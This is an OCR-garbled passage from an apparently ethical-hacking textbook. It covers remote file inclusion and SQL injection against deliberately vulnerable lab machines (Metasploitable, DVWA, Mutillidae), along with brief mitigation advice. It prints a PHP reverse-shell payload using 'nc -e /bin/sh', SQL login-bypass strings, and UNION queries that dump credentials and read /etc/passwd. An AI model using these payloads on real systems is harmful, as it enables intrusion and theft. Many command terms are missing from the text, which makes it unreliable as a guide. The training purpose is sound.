, but in Metaspolitable, we need to add to the present command, run
the

sudo nano eteiphpsicaioneant | WE Want to search for the function, press Ctrl + W
and type

and hit Enter. We will be able to see that and are :
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GHU nano Z2.0.7 File: retcsphpS-cgisphp.ini Modified

llow_url_fopen = 0On

: Whether to allow includesrequire to open URLs (like http:~~ or ftp:r//) as fil§
llow_url_include = 0On

: Define the anonymous fip password (your email address)
:from=" john@doe.con”

: Define the User-Agent string
: user_agent="FHP"

;: Default timeout for socket based streams (seconds)
efault _socket_timeout = 60

: If your scripts have to deal with files from Macintosh =systenms,

: or you are runming on a Mac and need to deal with files from

: unix or win3Z systems, =etting this flag will cause PHP to

: automatically detect the EOL character in those files =o that

: fgets() and file() will work regardless of the source of the file.
: auto_detect_line_endings = Off

[ Get Help {{i UriteOut @] Read File @] Prev Page @ Cut Text @ Cur Pos
i Exit il Justify Where Is '] Next Page gl UnCut Textgyl To Spell

If we enable these two functions, then the local file inclusion
vulnerability can be used for remote file inclusion. To exit the current
operation, use Cirl + X; to save, use Ctrl + Y and Enter. After saving
the file restart the web server, by entering

We learned about the local file inclusion vulnerabilities work. We used
the five-spaces-back method to access the file. In remote file
inclusion, we're going to access a file that is located on a different
server.

Now we will be using a pen test on an actual web server in order to
get access to the file that is stored. The file should either have an IP
address or a domain name. We need to run this on a local server and
store the file on the web server of the Kali machine using

, in our case. The file could be a web shell or payload. Now create a
simple PHP file. We will be using the function, which will execute OS
commands for Windows and Linux. Which commands are going to be
executed completely depends on the web server that they will be
executed on. Create a file called with following code:
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We will be using the command that was used for code execution
vulnerability, which allowed us to get a connection or a reverse
connection from our target.

The code starts and ends with and tags. The commands will be
placed between the quotation marks. Since we are using the same
command, it will reverse the connection of the computer. The next
step is to store this file in a we server. If the target is a remote web
server, then we should store the file with IP so that we access the file
from the remote web server. We will access the file using a
Metasploitable machine, which will access stored files on the Kali
machine. This is possible since the files and the machines are on the
same network. The current file starts with , so the file will be stored on
Kali and not on Metasploitable. In order to reverse it, we will be
saving the file as and not . If we store the file as PHP, it is going to be
executed on the Kali machine. As we know, we already have access
to the Kali machine, and we need to get access to the file on
Metasploitable. To do this, we will save the file as on the , which is in,
directory. The file is still stored on and not Metasploitable, so it's at .
To check the whether file is on

, type in the address bar and press Enter. The file will be displayed in
the browser:

{ http://10.0... mutillidae/ x | hitp://localhost/reverse.txt x |
= | (D | localhost/reverse. txt
[ Most Visitedv  JllOffensive Security " Kali Linux & Kali Docs *
=?php

passthru("nc -e /bin/sh 16.8.2.15 88808");
=

Before starting the remote inclusion, listen for the connections on Kali
in the same way as in the Code execution vulnerabilities section.
Type the following command to listen for the connections:
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nc -vv -l -p 8080

Now we should be listening for the connections, as shown in the

following screenshot:
-~# nc -vv -1 -p 8080

listening on [any] 8080

Now, instead of including the file on the same server, we will include
the remote file in the URL. The URL changes
to

as shown in the following screenshot:

& 10.0.2_ 4/dvwavulnerahilities/fif? page=http:// 10.0.2.15/reverse It X [|Q Search f+d

[ Most Visitedw [ Offensive Security Sy Kall Linux S Kall Docs % Kali Tools = Exploit-DB Wy Alrcrack-ng "%, Kall Forums s MetHunter %, Kall Tralning @ Getting Start

e Vulnerability: File Inclusion

Instructions

I To include a file edit the Ppage=indes php in the URL to delenmine which fike is incleded. |

Setup

More info
Brute Force

Command Execution
CSRF

.sm. injection

SQL Injection (Blind)
Upload

XSS reflected

NS5 stored

If we now check the file, it will be executed on , which is how going to
give us a remote connection to a Metasploitable computer. Go back
to the Terminal, and if we type , we will now get full access to the
Metasploitable machine, as shown in the following screenshot:

:~# nc -vv -1 -p 8080
listening on [any] AARA . .
10.0.2.4: inverse host lookup failed: Unknown host
conncct to [10.8.2.15] from (UNKNOWN)} [l0.0.2.4] 33451

-a
X metasploitable 2.6.24-16-server #1 5MP 1hu Apr 10 13:58:0080 UIC 2008 1686 @

MNU/Linux

We can also execute commands such as and on the Metasploitable

machine.

Basic mitigation
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This section talks about the prevention of vulnerabilities. A lot of
vulnerabilities exist because of the functionalities that they provide.

For example, in the first section, File upload vulnerabilities, we talked
about allowing the upload of any file extension. The ideal case is to
check the file type, if a user is uploading a file; it should be an MP3 or
a media file, not a PHP file or some executable code. We should
never allow users to upload executables. Filters can be used to check
the extension. The best way to do this is to check the file instead of
just checking the extension, because files can bypass the extension
check. Check the picture or the media instead of relying on the
extension.

In the second section, Code execution vulnerabilities, we explored
how we can run any code on a target computer. We should avoid
allowing users to run code on the server. Also, avoid functions such
as and , which allow users to run OS code on the server. If we have
to use these functions, analyze the input before execution.

Take a look at this, for example:

Suppose we type an IP, , and then add a semicolon, and a command,
. The only problem is the web application accepts the information the
way it is copied and run. When we execute the command, we will see
the IP address first and then the command. In such cases, check the
input that was entered. If we are expecting an IP address, we can use
a regex. A regex is a rule that will ensure that the input conforms with
the format . If we enter any other input, the web application would
reject it. We should also ensure that there are no semicolons or
spaces, and that everything comes as one thing and gets executed.
These are many secure ways of execution, but the best thing to do is
avoid and functions.

The third section was on file inclusion, which was further divided into
local and remote file inclusion. Local file inclusion allowed us to
include any file on the target system, and to read files that had been
disclosed by a vulnerability. Remote file inclusion was also looked at,
which allows us to include any file from a web server that has PHP
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shells and gain a connection to the target computer.

We need to prevent remote file inclusion so that people cannot
include files outside our server. We can enable this method using the
file by disabling

the and functions. To disable the functions, follow the steps used in
the Remote file inclusion using Metasploitable section.

Ensure that the settings for and are set to :

; Maximum allowed size for uploaded files.
upload _max_filesize = ZHM

; Uhether to allow the treatment of URLs (like http:rr or ftp:rr) as files.
allow_url_fopen = Off

; Whether to allow includesrequire to open URLs (like http:.r or ftp:rr) as fil$5
allow_url_include = Off

;: Define the anonymous ftp password (your email address)
;from=" john@doe.con"

: Define the User-Agent string
: user_agent="PHP"

i Get Help @]l UriteOut {5 Read File ] Prev Page @ Cut Text @ Cur Pos
Exit il Justify Where Is Hext Page UnCut Text T To Spell

The other way to prevent these exploits is to use static file inclusion.
So instead of using dynamic file inclusion, which we've seen, we can
hardcode the files that we want to include in the code and not have to
get them using or .

For example, in the vulnerability cases, we used the parameter with
the page. Now, the page uses the takes another page called , which
will be included in the the code. The following screenshot explains the
vulnerability:

URL:
index.php?page=news.php

CODE -
include($ _GET('page')
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parameter or otherwise

parameter in The fundamental thing is to files that come after the
parameter. The code will dynamically take the files that come after
the parameter in the URL and everything from URL to the current
page. In some cases, we tend to use the method, which will not get
the same executions; however, in such cases, it's best to use a proxy,
such as Burp Proxy. It will help us to make modifications and include
the files that we want to display. By using this approach, we won't be
able to manipulate anything inside the page that is included. To avoid
hard code and prevent using a variable, simply provide the page that
needs to be included. This will make the code look longer but the
page will be much more secure.

The following screenshot shows us an easier way of hardcoding:

URL:
index.php?

CODE :
include($ _POST( 'news.php')

Summary

In this chapter, we learned about basic file uploads using file
vulnerabilities. We also looked at how to execute OS code under
code vulnerabilities. Furthermore, we learned about local and remote
file inclusion using Metasploitable. Finally, we learned about the
problem-solving takeaways that should be considered when working
with these vulnerabilities. The next chapter will dive deep into SQL
injection vulnerabilities.
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SQL Injection Vulnerabilities

In this chapter, we are going to study SQL Injection (SQL.i)
vulnerabilities. To gain insight into these vulnerabilities, we will first
learn about SQL, look at the reasons why we are studying SQL, and
how

dangerous SQLi is exactly. Moving ahead, we will learn some
techniques to discover SQL injections. Then, we will learn how we
can bypass SQLi authorization and how to discover SQLi using the
method. We will also see how we can work around SQL commands
and discover tables using commands. In the section, we will see how
we can implement SQLi on server files. Then, we are going to learn
how we can use a tool called . Finally, will look at techniques we can
use to prevent dangerous SQL injections.

In this chapter, we'll cover the following topics:

What is SQL?

The dangers of SQLi

Discovering SQLi

SQLi authorization bypass
Discovering SQL using the method
Basic statements

Discovering tables

Reading columns and their data
Reading and writing files on the server
The tool

Preventing SQLI

What is SQL?
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We are going to be learning about a popular type of vulnerability
called SQLi. Before we discuss how it occurs and how to exploit it,
let's first learn what SQL is. For example, if we are performing a pen
test on a certain website, the chances are the website is a little bit
bigger than other websites and so probably uses a database. Most
websites, other than very simple ones use databases to store data,
such as usernames, passwords, news articles, blog posts, pictures,
and anything that happens on the website. The web application reads
the database and then displays the data to us or to the users. When
the user performs an action on the website, the application will either
update, delete, or modify the data that exists in the database. This
interaction between the web application and the database happens
using a language called SQL.

Let's see what we mean by a database. This is just an example of a
database; we are just going to log in to the database that is installed
on our Metasploitable machine to see what's being stored on it. We
will not perform any hacking or anything fancy; we will just log in to
MySQL and then we will input the username as Metasploitable
doesn't use a password for , which is really bad, but obviously it's a
vulnerable system. We are just going to log in; we are not hacking
anything or doing any SQL injections, we are just working on the
Terminal for MySQL, which the web application would use to interact
with the database. The following is the command:

mysql -u root -h 10.20.14.204

The following is the output of the command:

In this example, we are just trying to see what we mean by databases
and what's saved in them. Now, type in and that will show us the
databases that exist on our target server. In the following screenshot,
we can see that we have the

database, which is a default database that holds default information
about all the other databases:
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It gets installed by default when we install MySQL, and the rest have
been installed for each web application. We can see we have one for
have one called , another called

we've been using for the web application. We can see that, for each
web application, we have a database, which holds the information
that is used by that web application.

Let's see what's inside the database. We are going to use the
database. We will type the command in the Terminal to read the
information from this table. Each database has a table, which
contains information, so we launch the

command to see the tables that we have:
and one for . We also

, and one for , which is the one that We have a table for , so we can
assume that this table has information about the usernames,
passwords, and users. We have a table called , so it probably has the
blog input, such as the posts and comments in there. We can see

and , so there's a table that contains credit card details. This is huge
for shopping websites, they actually would have a table and the
information for the credit cards would be stored there. Basically, a
database will store everything, all the data that is used on the
website, because they doesn't get stored on files; it's not efficient.
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Let's have a look at the table; if we just type , that is exactly how the
web application will retrieve information from the database. The
application can either select, update, or delete; we are doing a
hacking we are just going to command

statement for our example. Again, this is not

everything from the table, with the :

1s admin |
TRUE
TRUE
confunk FALS

T :T.I-In

Line KungFu anyone?

|
:
:
i
i
i
i

T T MMM M7
F= = = e = = = = = e o= = e
mmMmmMmmmMmIimmimimimMmimimm

We have columns for the account ID, the username, the password,
the signature for the user, and whether that user is an administrator.
Now, the columns depend on the table, so the person who designs
the database designs the table and the columns, and then the data
gets inserted by the web application. We can see in the preceding
screenshot that we have a user called and their password is . We can
also see that we have a user called and their password is .

This example is just to understand what databases look like and to
get a feel for them; in later sections, we're going to try to exploit these
databases and get access similar to this. So, here, we just logged in
with a username and a password. Now, usually we wouldn't have
access, and only the web admin would. In the upcoming sections,
we're going to try to run some attacks in order to gain access, so that
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we'll have full control over the database in order to read and write (or
modify) data.

The dangers of SQLi

In this section of the chapter, we will focus on why SQL injections are
so important and so dangerous. The reason is because they are
found everywhere; a lot of big websites have these kind of exploits,
such as Yahoo and Google. They're very hard to protect against and
it's very easy to make a mistake and make these exploits available for
misuse. The other reason that they're very dangerous is because
they give the hacker access to the database. In many scenarios, if we
find an SQLi, we don't need to upload a shell or get a reverse
connection. There is really no need to upload anything and increase
the danger of being caught because, if we have access to the
database, we pretty much have everything we need. We have
usernames and passwords, and we can log in with a normal
username and password as a normal user; if we are looking for
sensitive data, we have access to credit cards. We can do pretty
much anything we want, so there's really no point in trying to further
exploit the system.

If we find an SQLi, that's great! That's all we need. In many
scenarios, we use a PHP shell to gain access to the database and
see whether we can read it. Say we managed to upload a PHP shell
on the Metasploitable server, but then we couldn't access the
database; there isn't much we can see. We can't see credit cards,
usernames, and passwords; we do have control over the server, but
we can't read information, so sometimes when we upload a PHP
shell, the next step is to gain access to the database. SQL injections
can be used to do many things, so if we manage to find one in a
website that is not our target but is in the same server, then we can
use it to read files outside the directory. Similar to file-inclusion
vulnerabilities, we can use the admin account, and its username and
password, to see whether we can upload some information. Usually
the admin can upload a lot of things, so we can upload a PHP shell or
a backdoor from there, and navigate to the target website or, in some
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cases, we can use an SQLi to upload a PHP shell. So, SQL injections
can be used as file-inclusion vulnerabilities and file-upload
vulnerabilities and they can also give us access to the whole
database. That's why they are very dangerous and useful if we
manage to find one.

Discovering SQL.i

Now, let's try to discover some SQL injections. We need to browse
through our target and try to break each page. Whenever we see a
textbox or a parameter on the form, such as , then something is equal
to something; try to inject stuff there, try to use a single quote, try to
use an and, or the statement to break the page and make it look
different. For example, we will be using the Mutillidae vulnerable
website from Metasploit. We are going to go into the Login/Register
page first, as we can see in the following screenshot, and it will ask
us to log in. Now, the site is registered with your name so you can just
click on Please register here and register:

% Mutillidae: Born to be Hacked

Versiorn: 2.1.10 Security Lavel: 0 (Hosad) Hints: Digabled (0 - | try hardar) Not Legged In
. » DB Viewlog  View Caplured Data

J\:_y; Back

After registering, go to the login page. At the moment, we are using
the example of injecting into textboxes, so we can try to inject into the
Name and into the Password textboxes. For example, suppose we
put the Name as and then a single quote mark ( ) into Password,

and click Login. As you can see in the following screenshot, there is
an error being displayed to us and it doesn't look like a normal error. It
looks like it's a database error, and usually you'd be very lucky to you
get an error such as this:

T.me/nettrain



Error: Fallure iz always an option and thiz situation proves it
Line 49
Code o
Flle e wimut i login-attempt php
Message Error erecuting query. You have an error in your SQL s_w'wm. :chk. the manual .thrt cor rst to your MySQL wrwr. version for the right wr‘ﬂuu ko uze n;wl = ot linw 1
Trace 0 [varfwwwimubdidaselindex. php(36): ncludel ] #1 {main}
Diagnotic Information 'SELECT * FROM accounts WHERE username="zaid’ AND password="
Did you satupirasat the DE?

Warning: Cannot modify hasder information - haaders slrasdy sant by (output sterted at fvarfwww/ il { legl pE.php ST L in fearfwww/mutillidas/indax, php on line 148

Warning: Cannot modify header information - headers already sent by (output started at fvarfw process-login-atl tEhg 7 ) i frarfwwwimutillidaefindex, php on ine 2549

Warning: Cannot modify header information - headers already sent by (cutput started at fvarfwwwimutillidse/process:login-attempt. php: 87} in fvarfwww/mutillidae/index.php on line 255

N I L ey S TRMTIMESO = MR B B T Y R I PR TR A P

®%¢ Mutillidae: Born to be Hacked

Version: 2.1.19  Security Laval: 0 (Hosed) Hints: Disabled (0 - | try harder)  Not Logged In

Usually the error won't be as informative as this; sometimes we will
just see that the page is not acting as expected or sometimes it'll just
be a page that does not look as it should. For example, if it's a news
page, maybe the article will be missing or, if it's a blog, one of the
posts will be missing, or different kinds of posts, so we need to keep
an eye on what's changing. In this example, we are actually getting a
really nice error; it's telling us which file it has, that there's an error in
the statement the error is near the quote mark that we added and the
statement that's been executed. This is really good for learning
because now we can see the statement that the system is trying to
run, and the system is trying to do , so it's trying to select everything:

admin . Note that the system, the web application, is already adding
quote marks around the name. When we said admin, it added admin
between two quotes and it added the single quote () that we added
between another two quotes, so that's why we have three quotes.
From this error, we can assume that 70% of the target website has an
SQL injection.

We are still not sure whether it can execute what we want, so can we
actually inject code and get it executed? Let's see if this can be done;
is going to be admin again, and we are going to put as . Once this is
done, just close down the site. We closed down the site because the
current statement in the system is

admin , and it's going to open a single quote by itself, followed by the ,
which we will provide. So, we're treating as a variable; it takes in
whatever we put in the Password textbox, and it replaces , which is a
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variable. It takes whatever we put in the Password textbox and puts
it between two single quotes, and that will be executed on the
system. So, we will put . We are going to add a quote ourselves, and
the code is as follows:

select * from accounts where username = ‘admin’' and password ='123456"

The application is going to from , is equal to , and we have two
quotes at the end. Then, we are going to put . We are just trying to
see whether it's going to execute what we want it to. Our statement is
going to be as follows:

Select * from accounts where username = ‘admin' and password='123456"' and1=1"

We are going to insert ourselves. The system is going to complain
that we have an extra quote because we have inserted the password
into the textbox our self; it's going to say that there is an open quote
and it never got closed. Now, we are going to add a comment and
after we do so, everything that comes in after the comment will not be
executed. We are going to use the hash ( ) as the comment, so the
system will ignore anything that comes in after the hash; it's going to
ignore the last quote that will be inserted by the command. So, our
code is going to look as follows:

Select * from accounts where username="admin’ and password ='123456' and 1=1#"

We need to paste the be able to log in as password in the Password
textbox and we should , as shown in the following screenshot:
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@}6 Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (O - | try harder) Logged In User: zaid (aa)

Home Logout Ti};[EI]IE! Hints T('l:lgh‘ Security Reset DB View Log View Capt ured Data

Mutillidae: Deliberately Vulnerable PHP Scripts Of OWASP Top 10

Latest Version / Installation

« Latest Version

= Installation Instructions

» Usage Instructions

« Getrid of those pesky PHP errors
=« Change Log

* Notes

Samurai WTF and Backtrack contains all the tools needed or you may build your own collection

=

e

backitrack

i

Samurai Web Testing Framework

ILT ON 2 T d
+ S
My S

Let's try something different: let's try to add a false statement. We did
and that was correct and it executed what we wanted. Let's try ,
which is incorrect, so we have the right password and we have the
right username, and we will add this should be problematic because
it's , is not equal to , and we are using , so everything has to be true.
It should give us an error even though we are going to put in the right
username and the right password. So, we enter the Password as ,
and it should give us an error:

Authentication Error: Bad user name or password

Please sign-in

Name |

Password

Login

Dont have an account? Please register here

T.me/nettrain



The site has given us an Authentication Error: Bad user name or
password error, even though we are using the right password and
username. This confirms that the website is actually injecting
anything we want in the password, so we can use the field to inject
SQL code.

SQLi authorization bypass

Now we know that we can put in any code we want and it's going to
be executed on the system. So, let's have another look at the
statement, which says

, and , which we put in the Password textbox. We will now see
whether we can use that to log in without using a password, and we
are going to be doing that with the admin. So, is going to be

, and we don't know what is for , so we are going to enter any random
password, for example, . In the code that we were previously running,
we put , now instead of , we are going to say . So, once we inject the
command, it is going to let us log in without even knowing the
password of . Our code is going to look as follows:

select * from accounts where username = ‘admin’' and password="aaa’ or 1=1"

When we log in using the Username and paste in the Password
textbox, we can see that we logged in successfully and the signature
for admin is Monkey!:

Q}@ Mutillidae: Born to be Hacked

Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Logged In Admin: admin (Monkey!)

Home Lodgjout Toggle Hints Toggle Security Reset DB View Log View Captured Data

‘ Mutillidae: Deliberately Vulnerable PHP Scripts Of OWASP Top 10

So, any time we have an condition, if the condition is true, everything
is true that's the way the statement works.
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Bypassing logins can be done in many ways, depending on the code
that's written on the page and how we are imagining the code. In a lot
of cases, when we put in the single quote, we won't see the error
message.

So, we are going to show another example of bypassing. Instead of
injecting the code, the parameter is injectable as well, as we saw
when we put in the single quote, in exactly

the same way as the parameter, so we can inject code in as well.

Try to inject something in ; we are going to say is equal to , then we
are going to close the quote and add a comment. So, when we run
the statement, it's going to inject that in .

It's going to let me log in without even entering anything in the
password field. So, we are going to put Username as , and then we
can put in any Password we want to use. We are just going to put
and then log in; we can see we managed to log in as :

% Mutillidae: Born to be Hacked

Version: 2.1.19 Security Lavel: 0 (Hosed) Hints: Disabled (0 - | try harder) Logged In Admin: admin (Monkey!)

Toggle Hinte Toggle Security Regat DB View Log View Captured Data

Mutillidae: Deliberately Vulnerable PHP Scripts Of OWASP Top 10

Latest Version / Installation

« Latest Version

+ Installation Instructions

+ Usage Instructions

+ Get rid of those pesky PHP errors
+ Change Log

= Notes

|Samurai WTF and Backtrack contains all the tools needed or you may build your own collection|

©

back|track

Again, this is black-box testing, so we don't really see the code. In
many cases, we want to play around with it and see how it works, but
the main thing we want to test is whether the SQL.i exists and we do
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that using the method from the previous section. So, try single
quotes, try the statement, try a true statement, such as , and then a
false statement, such as or, and, if they work as expected, your
target has an SQLi and you can start playing around with it.

Discovering an SQL.i using the GET method

Now we will study an SQLi in a different file, on a different page, and
see a few different things that we can do to exploit that vulnerability.
So, first, go to the login page, which is in OWASP Top 10 | A1-
Injection | SQL-Extract Data | User Info:

In the previous section, we went to the login page by clicking on the
Login/Register option on the page; this time we're going to go
through the User Info page, so the page will show us information
about the user, provided we give the Name and Password. Enter all
the credentials, such as and , and the page will show us all the and
details and our signature, as shown:

| View your details

Cg Back

Please enter username and password
to view account details

Name

Password

| View Account Details

Dent have an account? Please register here

Results for . 1 records found.

Username=zaid

Password=123456
Signature=aa

The statement that's been executed here is similar to what was
executed when we logged in. As we can see in the following code, is
what we put in the field, and is what we put in the field:
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select * from accounts where username = '$USERNAME' and
password="$PASSWORD'

Now we're going to see a different way of exploiting this kind of
vulnerability. In the previous section, we were doing it using a textbox,
so whatever you put in the textbox was being posted to the web
application using a method. Now, these vulnerabilities can exist in the
method too, and what we mean by is that, when something is sent
using , we will see it in the URL. So, if we look at the following URL,
we see it's being sent as :

Copy the URL and we will start playing with it from the URL instead of
on the web page. We just want to show a different example, because
in many places there might not even be textboxes. It could be
something such as . In our example, it's , and in our pen testing, you
might see something such as and , and then we can try to inject it in
there. So, we're going to be injecting things into the field, and we will
enter information in the URL. When we are doing our pen test, any
time we see parameters such as and , we should try to inject them;
any time we see

and then we have a parameter that equals something, always try to
inject it in there and see if it works for us.

We've also seen a way of discovering the injection using a quotation
mark and an statement. So we do a false , and a true , , and then,
and if the server executes what we want, we're going to know there's
an SQLi. We are going to see another way of discovering these
exploits, by using the statement. The

statement is used to limit the amount or the number of records that
are going to be displayed onscreen. Our injection is going to do . If
the injection exists, this should work because . There should be at
least one record being selected in the page because we know this
page is communicating with the database. So, should always work
and return true or something we expect. We also need to add the
comment and execute a code, so it's exactly as before. Basically
what's going to happen on the database is that the code that will be
executed on it will look as follows:
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select * from accounts where username = ‘admin’ order by
1#'password="$PASSWORD'

The command for the URL will be as follows: admin

For this example, it's going to be

admin , and note how a single quote () ends the statement; we're
going to do .

The comment will tell the SQL interpreter to ignore anything that
comes in after it, which is

all of commands after hashtag ( ). Copy the preceding code and
paste it in the Name

textbox of the login page. This will work, but we are just looking at a
different way of doing

it by injecting it through the browser. Another thing to note is that,
when we are injecting

stuff into the browser, the code should be encoded so, for example,
the hashtag (') sign

should be written as . Spaces, for example, get converted to , and is
the

comment that we're using, so we are going to copy that and replace
our comment sign with

it in the URL space. So, the URL changes to the following:

Paste the URL in the address bar and hit Enter, and we will
something that's acceptable. Then it will show us the information
about admin, 123456, and and also the Signature, so it is

ignoring the password, so the injection worked it's ordering by , so it's
not showing any error:

4+ 4 010140 dh O & A & 3
Eamost Veed v [HOffenaive Secunty S Kall Lnux S, Kall Doce S %all Tool = Explon-D8 W Anorack-ng ) Vislnenbtny & Explos
®%¢ Mutillidae: Born to be Hacked

Verslan: 2.1.19 Security Leval: 0 (Hosed) Hints: Disabled (0 - | try harder) MNot Legged In
o ogilviegiser  Toggle Mints  Togale security ot [

LB View Log

| View your details

Please enter username and password
to view account details

Site | View Account Details |

|naciced. .arr...quality. |
t::tid wl‘t’; s‘:l:.:u::! Dant have an account? Please rogister here
WTF. Backtrack, | .
Firefox. Burp-Suite. | Resuits for . 1 records found.
& ose

Username=zaid
Password=12343568
| Signatura=ass
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Let's try to make a very large number, for example, we can put or in
the URL section. It will show us records on the login page. The
chances are the page will not display records and there aren't records
in the database, so when we execute it, we will see that there is an
error. The error is in the order clause and there is an column for :

So, there aren't columns in the database, and this is great because
now we know that the database is executing what we want. So, when
we told it to show record, it show us one record, and when we told it
to showed us a very large number of records, it complained about
that, so it's obviously vulnerable to SQL injections.

Basic SELECT statements

Let's try to determine how many columns are being selected into
page in the preceding screenshot. How much information is being
selected and displayed on the login page that we got when we fired
the query in the previous section? To do that, we're going to use the

statement. We used in the preceding section and that returned
something acceptable, and gave us an error, so let's try ; we will see
that we still get an error.

Try an and we will see whether that it works. By performing this, we
know that there are five columns being selected from a certain table,
and it's the table, which is then displayed on the login page. Let's
build our own statement and get it executed on the target computer.
At the moment, the statement is

admin and we're doing . Let's see whether we can fix that and get it to
something that we like. As we are trying to do multiple statements
and we're trying to do it from the URL, we're going to have to use a
union and then we're going to say . In this web application, we know
that there are five records being selected, so there are five columns
that are being selected, so we're doing ; let's run the command in the
URL and see what happens:

We can see that the selection was right and we got the first selection:

T.me/nettrain



Please enter username and password
, to view account details

Name

Password

View Account Details

Dont have an account? Please register here

Results for . 2 records found.

Username=zaid

Password=123456
Signature=aa

Username=2
Password=3
Signature=4

This line has done the first selection and then it did , so it combined
that selection with another selection and it showed us something
else. As we can see in the preceding screenshot, we're only seeing 2,
3, and 4, which means that whatever value we enter instead of , , or,
or whatever we want to . Is going to be displayed in the page if we put
it in the URL, and we can see that we have results for , so whatever
you put in will also be shown in the page.

So, let's try to see our database. Instead of we're going to say ,
instead of we're going to say or , and instead of we're going to do ;
this will the current database, the current user privileges that we
have, and the version of

the database. So, let's execute the following command:

union select 1,database(),user(),version(),5

The URL command changes as follows:
The output of the command is in the following screenshot:

T.me/nettrain



Please enter username and password
to view account details

Name

Passwaord

View Account Details

Dont have an account? Please register here

Results for . 2 records found.

Username=zaid
Password=123456
Signature=aa

Username=owaspl0
Password=root@localhost
Signature=5.0.51a-3ubuntus

The Username is showing up as owasp10 and , so is the database
that we're looking for. The current user that we're logged in as is
root@localhost, so we're the user. We injected the version and we
can see this is the version of MySQL, so it's 5.0.51. We know that the
database we're connected to is . In most real-world scenarios, each
database is assigned to a certain user, so you're usually only able to
details, tables, columns, and data located in this current database.
However, we are logged in as and the web application has been
connected to the database as , so we can access other databases,
but this doesn't happen in real-world scenarios. Usually each user
has their own database, so when they connect a web application to a
database, they connect it to one database and therefore you won't to
be able to access other databases. So, we're going to imagine that
we only have access to , which is our current database for this
current website, and that the password is .

In the next section, we'll see how we can further exploit SQL
injections and perform more powerful statements.

Discovering tables
Now that we know our target database is called , let's try to discover

the tables that exist in that database. So, our statement is
. Delete and , or change it to because we only want to
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from the
one thing now, and in , we're going to database. We know that is a
default database created by MySQL and it contains information

about all the other databases. We select from and after the dot, we
put . Basically, we're selecting a table called from a database called ,
and the column that we're selecting is called

, SO we are selecting from the database from the table. The command
is as follows:

union select 1,table_name,null,null,5 from information_schema.tables The URL command Changes as
follows:

admin

Execute the command to see whether we can get all the tables that
exist in the database. We can see that we got 237 records; following
are all the tables that we have access to:
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username=Admin

Results for . FE§] records found.

Username=zaid
Password=123456
Signature=aa

Username=CHARACTER_SETS
Password=
Signature=

Username=COLLATIONS
Password=
Signature=

Username=COLLATION_CHARACTER_SET_AFPFPLICABILITY
Password=
Signature=

Username=COLUMNS
Password=
Signature=

Username=COLUMN_PRIVILEGES
Password=
Signature=

Username=KEY_COLUMMN_USAGE
Password=
Signature=

Username=PROFILING
Password=
Signature=

We are logged in as , therefore, we can see tables from other web
applications, such as tikiwiki, but in real-world scenarios, we'll only
see tables related to the current database, which is Mutillidae.

Now we are going to use a clause and say . We got the databases
when we executed the command, so we got , which is the current
database that Mutillidae is working on. We're using the same
statement: we're selecting from the table where is

. The command is as follows:

union select 1,table_name,null,null,5 from information_schema where table_schema = 'owasp10’

The URL command changes as follows:
Execute it and, as we can see in the following screenshot, we only
have the tables that we're interested in:
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Results for . 7 records found.

Username=zaid
Password=123456
Signature=aa

Username=accounts
Password=
Signature=

Username=blogs_table
Password=
Signature=

Username=captured_data
Password=
Signature=

Username=credit_cards
Password=
Signature=

Username=hitlog
Password=
Signature=

Username=pen_test_tools
Password=
Signature=

We have the, , , ,, and tables. Now, in the What is SQL? section, we
saw the content of the table and the preceding screenshot also
shows the same tables of the database.

Reading columns and their data

In this section, lets see whether we can and have a look at all the
details that exist within the table. Let's see whether we can query the
database and read the information stored in the table. To do that, we
need to know the names of the columns that exist within the table
because, if we look at the way we're using our statement, we're
performing

, so we still don't know what columns exist in the table. We can guess
that there is a username and a password, but sometimes they could
have different names, so we're going to see how we can the columns
for a certain table.

The command is going to be very similar to the section, the only
difference is instead of and instead of selecting it from , we're going to
select it from . We're going to type
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, because we're only interested in the table. If we wanted to get
columns for another table, we just substitute with the required table,
or column, that we want. So, our command is going to be as follows:

union select 1,column_name from information_schema.columns where table_name = 'accounts’

command we used in the preceding , we're going to type ,
The URL command changes to the following: amin

The command should show us all the columns that exist within the
table. Run the command and, once we execute it in the address bar,
we will see the same columns that we saw before when we saw the
structure of the chapter, and its , , , shown in the following
screenshot:

database at the start of this

, and columns, as

| Results for . 6 records found,

Username=zaid
Password=123456
Signature=aa

Username=cid
Password=
Signature=

Username=username
Password=
Signature=

Username=password
Password=
Signature=

Username=mysignatura
Password=
Signature=

Username=is_admin

Password=
Signature=

Let's take this one step further and the and columns from the table.
So, again, the command is going to be very similar to what we're
running at the moment:

union select 1,usernames,passwords,is_admin,5 from accounts
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Now, remember, we can't select anything instead of and in the
command because they never displayed for us on the screen. The
only thing that displayed were , , and , so we're only substituting
values for , , and . Our URL command changes to the following:

admin

We're selecting , , and columns from the

database, and it should return all the usernames and passwords that
exist within

the table. As we can see in the following screenshot, we got all the
usernames

and passwords:

| Results for . 18 records found.

Username=zaid
Password=123456
Signature=aa

Usarnamea=admin
Password=adminpass
Signature=TRUE

Username=adrian
Password=somepasswoaord
Signature=TRUE

Username=john
Password=monkey
Signature=FALSE

Username=jeremy
Password=password
Signature=FALSE

Username=hryce
Password=password
Signature=FALSE

Username=samurai
Password=samurai
Signature=FALSE

We have the , and the password is ; we also have other usernames
and their passwords. This is very useful because, on most websites,
when we log in as , we have more privileges than a normal person,
and then we have to be able to upload PHP shells or backdoors,
viruses, whatever we want, and then further exploit the system. So, at
the moment, we can actually log in with the username and the
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password, and it's going to accept that because it's correct. No matter
how complicated the password, we're just going to be logged in
because we're reading the password straight from the database.

Reading and writing files on the server

In this section, we will look at how we can use SQLi to read any file in
the server. So, even if the file exists outside the directory, we'll be
able to read it exactly as with a filedisclosure vulnerability, and we'll
see how we can use it to write files and upload them to the system,
just as with a file-upload vulnerability.

First, let's take a look at reading the file; we are going to set
everything to . So, our statement is going to be as follows:

union select null,load_file(‘/etc/passwd'),null,null,null

Instead of selecting a column or a table, we want to run a function
called , and we are going to set the file that we want to load. We're
going to use the same file that we had a look at in the file-inclusion
vulnerability, which was . The URL command is as follows:
Running the preceding URL, we can see from the following
screenshot that we managed to read all the information and all the
content of file, even though it's not in the web root:

Rezults for . 2 records found.

Usernamea=admin
Password=adminpass
Signature=Menkey!

Username=root:x0:0:root:froot: [binfbash daemon:x-1:1-daamon:fusr/sbin:fbinfsh bin:x:2:2:bin:/bin:/binfsh sys:xn:3:3:sys: /dev.[binfsh sync %-4:65534: sync:fbin:
